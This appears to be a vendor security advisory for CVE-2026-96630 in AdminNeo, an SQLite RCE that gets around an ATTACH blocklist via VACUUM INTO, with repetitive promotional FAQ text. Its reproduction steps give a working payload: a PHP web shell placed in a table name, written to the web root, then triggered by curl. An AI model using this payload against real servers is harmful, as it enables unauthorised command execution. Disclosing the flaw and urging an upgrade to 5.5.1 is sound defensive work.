Summary
AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
Root Cause
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}
Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
Steps To Reproduce
1. Login to SQLite
- Open AdminNeo and select driver: SQLite
- Login and create a new database (e.g.,
stage.db)
2. Inject PHP code and write the shell
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
3. Execute commands
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Impact
CVE-2026-96630 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.5.1); upgrading removes the vulnerable code path.

Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Frequently Asked Questions
- What is CVE-2026-96630? CVE-2026-96630 is a high-severity security vulnerability in adminneo-org/adminneo (composer), affecting versions < 5.5.1. It is fixed in 5.5.1.
- How severe is CVE-2026-96630? CVE-2026-96630 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of adminneo-org/adminneo are affected by CVE-2026-96630? adminneo-org/adminneo (composer) versions < 5.5.1 is affected.
- Is there a fix for CVE-2026-96630? Yes. CVE-2026-96630 is fixed in 5.5.1. Upgrade to this version or later.
- Is CVE-2026-96630 exploitable, and should I be worried? Whether CVE-2026-96630 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

- What actually determines whether CVE-2026-96630 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-96630? Upgrade
adminneo-org/adminneoto 5.5.1 or later.
